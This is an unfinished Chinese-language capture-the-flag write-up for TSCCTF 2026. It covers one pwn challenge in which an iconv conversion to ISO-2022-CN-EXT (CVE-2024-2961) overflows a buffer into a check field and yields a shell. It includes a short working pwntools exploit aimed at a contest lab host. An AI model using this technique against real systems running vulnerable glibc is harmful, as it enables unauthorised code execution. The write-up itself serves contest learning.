TSCCTF 2026 writeup
1 mins
184 words
Loading views

前言h2

這是我第一次打 TSCCTF,這應該是辦給大學生打的 CTF,不過有公開組就來體驗一下,最後也是打到第 13 名。雖然有些題目是 AI 打出來的,但是也讓我學到很多!

image image

Pwnh2

Magic Wordh3

程式讀取一行字串後會呼叫

iconv_open("ISO-2022-CN-EXT", "UTF-8");
iconv(cd, &inptr, &inlen, &outptr, &outlen);

且輸出 buffer 與 magic 放在同一個 packed struct:

struct {
char output[32];
uint32_t magic;
} __attribute__((packed)) ctx;

最後檢查

if (ctx.magic != 0) win();

所以只要讓 ctx.magic 變成非 0 就能進入 win() 拿到 shell。

經過搜尋後發現這其實是 CVE-2024-2961

漏洞原理參考:https://hackmd.io/@yjk930805/HJzCZdtLxx

from pwn import *
context.binary = ELF("./magic_word")
context.log_level = "info"
io = remote("172.31.3.2", 40002)
payload = b"A" * 31 + "劄".encode("utf-8")
io.recvuntil(b"Magic word: ")
io.sendline(payload)
io.interactive()
image

writeup 尚未完成

Comments